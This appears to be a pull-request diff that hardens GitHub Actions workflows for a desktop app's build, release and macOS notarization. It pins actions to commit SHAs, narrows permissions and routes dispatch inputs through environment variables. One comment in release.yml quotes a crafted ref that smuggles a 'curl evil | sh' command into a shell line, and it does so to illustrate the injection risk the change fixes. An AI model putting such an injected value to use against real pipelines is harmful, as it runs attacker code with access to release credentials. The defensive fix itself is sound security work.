Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 6 additions & 0 deletions .github/dependabot.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
version: 2
updates:
- package-ecosystem: github-actions
directory: /
schedule:
interval: weekly
44 changes: 44 additions & 0 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
name: CI

on:
pull_request:
push:
branches:
- master

permissions:
contents: read

jobs:
build-and-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4

- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
with:
version: 9

- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
cache: pnpm

- name: Install dependencies
run: pnpm install --frozen-lockfile

- name: Type-check / build
run: pnpm build

- name: Run unit tests
run: |
node --test \
test/connection-validate.test.mjs \
test/connection-preflight.test.mjs \
test/connection-profiles.test.mjs \
test/window-policy.test.mjs \
test/navigation-gestures.test.mjs \
test/local-server-lifecycle.test.mjs \
test/local-server-health.test.mjs \
test/runtime-safety.test.mjs \
test/prepare-macos-release-assets.test.mjs
9 changes: 6 additions & 3 deletions .github/workflows/notarize-status.yml
Original file line number Diff line number Diff line change
Expand Up @@ -53,6 +53,9 @@ jobs:
env:
APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }}
APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }}
# Injection-safe: read dispatch inputs from env, not via ${{ }} in-shell.
INPUT_X64_SUBMISSION_ID: ${{ github.event.inputs.x64_submission_id }}
INPUT_ARM64_SUBMISSION_ID: ${{ github.event.inputs.arm64_submission_id }}
run: |
set -euo pipefail
mkdir -p notarization-status
Expand All @@ -67,8 +70,8 @@ jobs:
--output-format json > "notarization-status/${label}.info.json"
}

query_status "x64" "${{ github.event.inputs.x64_submission_id }}"
query_status "arm64" "${{ github.event.inputs.arm64_submission_id }}"
query_status "x64" "$INPUT_X64_SUBMISSION_ID"
query_status "arm64" "$INPUT_ARM64_SUBMISSION_ID"

python - <<'PY'
import json
Expand All @@ -85,7 +88,7 @@ jobs:

cat notarization-status/summary.md >> "$GITHUB_STEP_SUMMARY"

- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: notarization-status
path: notarization-status
Expand Down
38 changes: 34 additions & 4 deletions .github/workflows/notarize-submit.yml
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,10 @@ jobs:
APPLE_API_ISSUER: ${{ secrets.APPLE_API_ISSUER }}
APPLE_API_KEY_ID: ${{ secrets.APPLE_API_KEY_ID }}
APPLE_API_KEY_P8: ${{ secrets.APPLE_API_KEY_P8 }}
# Injection-safe: read the dispatch input from env, never expand ${{ }}
# straight into the shell (a newline-bearing input could otherwise inject
# arbitrary vars into GITHUB_ENV for later steps holding notary creds).
INPUT_TAG: ${{ github.event.inputs.tag }}
run: |
set -euo pipefail
umask 077
Expand Down Expand Up @@ -55,9 +59,14 @@ jobs:
--issuer "$APPLE_API_ISSUER" \
>/dev/null

if ! printf '%s' "$INPUT_TAG" | grep -Eq '^v[0-9][0-9A-Za-z.+-]*$'; then
echo "::error::Invalid tag input: $INPUT_TAG" >&2
exit 1
fi

{
echo "APPLE_API_KEY=$API_KEY_PATH"
echo "NOTARIZE_TAG=${{ github.event.inputs.tag }}"
echo "NOTARIZE_TAG=$INPUT_TAG"
} >> "$GITHUB_ENV"

- name: Download macOS release ZIP assets
Expand All @@ -84,6 +93,11 @@ jobs:
local zip_path="$2"
local output_path="notarization-output/${label}.submit.json"

if [ ! -f "$zip_path" ]; then
echo "::error::Missing ${label} ZIP asset for notarization." >&2
exit 1
fi

xcrun notarytool submit "$zip_path" \
--key "$APPLE_API_KEY" \
--key-id "$APPLE_API_KEY_ID" \
Expand All @@ -92,8 +106,24 @@ jobs:
--output-format json > "$output_path"
}

submit_zip "x64" "$(find notarization-input -type f -name 'Paperclip-Desktop-*-mac.zip' ! -name '*arm64*' | head -n 1)"
submit_zip "arm64" "$(find notarization-input -type f -name 'Paperclip-Desktop-*-arm64-mac.zip' | head -n 1)"
x64_zips=()
while IFS= read -r zip_path; do
x64_zips+=("$zip_path")
done < <(find notarization-input -type f -name 'Paperclip-Desktop-*-mac.zip' ! -name '*arm64*' | sort)

arm64_zips=()
while IFS= read -r zip_path; do
arm64_zips+=("$zip_path")
done < <(find notarization-input -type f -name 'Paperclip-Desktop-*-arm64-mac.zip' | sort)
if [ "${#x64_zips[@]}" -ne 1 ] || [ "${#arm64_zips[@]}" -ne 1 ]; then
echo "::error::Expected exactly one x64 and one arm64 mac ZIP for notarization." >&2
printf 'x64 matches: %s\n' "${x64_zips[@]:-<none>}" >&2
printf 'arm64 matches: %s\n' "${arm64_zips[@]:-<none>}" >&2
exit 1
fi

submit_zip "x64" "${x64_zips[0]}"
submit_zip "arm64" "${arm64_zips[0]}"

python - <<'PY'
import json
Expand All @@ -111,7 +141,7 @@ jobs:

cat notarization-output/summary.md >> "$GITHUB_STEP_SUMMARY"

- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: notarization-submissions-${{ github.event.inputs.tag }}
path: notarization-output
Expand Down
36 changes: 21 additions & 15 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ on:
- all

permissions:
contents: write
contents: read

concurrency:
group: release-${{ github.workflow }}-${{ github.ref }}
Expand All @@ -35,15 +35,15 @@ jobs:
RELEASE_REF: ${{ github.event.inputs.ref || 'master' }}

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
ref: ${{ env.RELEASE_REF }}

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
with:
version: 9

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
cache: pnpm
Expand Down Expand Up @@ -100,7 +100,7 @@ jobs:
- name: Prepare updater-compatible macOS release assets
run: node scripts/prepare-macos-release-assets.mjs --input-root release/local-macos --output-dir release/mac-release-assets

- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: release-mac
path: release/mac-release-assets
Expand All @@ -123,15 +123,15 @@ jobs:
RELEASE_REF: ${{ github.event.inputs.ref || 'master' }}

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
ref: ${{ env.RELEASE_REF }}

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
with:
version: 9

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
cache: pnpm
Expand All @@ -142,7 +142,7 @@ jobs:
- name: Build Linux distributables
run: pnpm dist:linux

- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: release-linux
path: |
Expand All @@ -160,15 +160,15 @@ jobs:
RELEASE_REF: ${{ github.event.inputs.ref || 'master' }}

steps:
- uses: actions/checkout@v4
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
ref: ${{ env.RELEASE_REF }}

- uses: pnpm/action-setup@v4
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4
with:
version: 9

- uses: actions/setup-node@v4
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
cache: pnpm
Expand All @@ -179,7 +179,7 @@ jobs:
- name: Build Windows distributables
run: pnpm dist:win

- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: release-windows
path: |
Expand All @@ -201,15 +201,21 @@ jobs:
- build-linux
- build-windows
runs-on: ubuntu-latest
permissions:
contents: write

steps:
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4
with:
path: dist-artifacts

- name: Create or update GitHub release
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Pass the dispatch input through env (injection-safe assignment) instead
# of expanding ${{ }} directly into the shell, where a crafted ref like
# 'v1"; curl evil | sh; echo "' would execute.
INPUT_REF: ${{ github.event.inputs.ref }}
run: |
set -euo pipefail
mapfile -d '' files < <(
Expand All @@ -230,7 +236,7 @@ jobs:
exit 1
fi

tag="${{ github.event.inputs.ref }}"
tag="$INPUT_REF"
tag="${tag#refs/tags/}"

if gh release view "$tag" >/dev/null 2>&1; then
Expand Down
Loading
Loading